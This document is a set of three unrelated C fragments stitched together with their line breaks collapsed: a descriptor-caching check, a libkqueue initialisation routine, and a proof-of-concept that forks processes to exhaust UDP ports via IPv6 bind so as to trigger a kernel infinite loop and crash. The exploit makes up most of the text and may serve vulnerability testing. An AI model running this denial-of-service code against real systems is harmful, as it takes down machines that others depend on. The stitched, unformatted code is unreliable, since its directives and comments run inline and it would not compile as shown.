static bool may_cache_fd(void) { static rlim_t limit; if (!limit) limit = get_fd_limit(); if (limit == RLIM_INFINITY) return true; return limit > (rlim_t) dso__data_open_cnt; }
void libkqueue_init(void) { #ifdef NDEBUG DEBUG_KQUEUE = 0; #else char *s = getenv("KQUEUE_DEBUG"); if (s != NULL && strlen(s) > 0) { DEBUG_KQUEUE = 1; #ifdef _WIN32 /* Initialize the Winsock library */ WSADATA wsaData; if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) abort(); #endif # if defined(_WIN32) && !defined(__GNUC__) /* Enable heap surveillance */ { int tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG ); tmpFlag |= _CRTDBG_CHECK_ALWAYS_DF; _CrtSetDbgFlag(tmpFlag); } # endif /* _WIN32 */ } #endif kqmap = map_new(get_fd_limit()); // INT_MAX if (kqmap == NULL) abort(); if (knote_init() < 0) abort(); dbg_puts("library initialization complete"); #ifdef _WIN32 kq_init_complete = 1; #endif }
/* The criticial is fairly simple to raise : the infinite loop occurs when * calling bind with no speficied port number (ie zero), if and only if the * IPv6 stack cannot find any free UDP port within the local port range * (normally 32768-61000). Because this requires times more sockets than what * a process normally can open at a given time, we have to spawn several * processes. Then, the simplest way to trigger the crash condition consists * of opening up kernel-allocated UDP ports until it crashes, but that is * fairly slow (because allocation are stored in small a hash table of lists, * that are checked at each allocation). A much faster scheme involves getting * the local port range from /proc, allocating one by one, and only then, ask * for automatic (any/zero) port allocation. */ static int proof (void) { int lim, val = 2; pid_t pid, ppid; uint16_t range[2], port; lim = get_fd_limit (); if (lim <= 3) return -2; get_port_range (range); port = range[0]; ppid = getpid (); puts ("Stage 1..."); do { switch (pid = fork ()) { case 0: for (val = 3; val < lim; val++) close (val); do { if (bind_udpv6_port (port) >= 0) { if (port) port++; } else if (port && (errno == EADDRINUSE)) port++; /* skip already used port */ else if (errno != EMFILE) /* EAFNOSUPPORT -> no IPv6 stack */ /* EADDRINUSE -> not vulnerable */ exit (1); if (port > range[1]) { puts ("Stage 2... should crash quickly"); port = 0; } } while (errno != EMFILE); break; /* EMFILE: spawn new process */ case -1: exit (2); default: wait (&val); if (ppid != getpid ()) exit (WIFEXITED (val) ? WEXITSTATUS (val) : 2); } } while (pid == 0); puts ("System not vulnerable"); return -val; }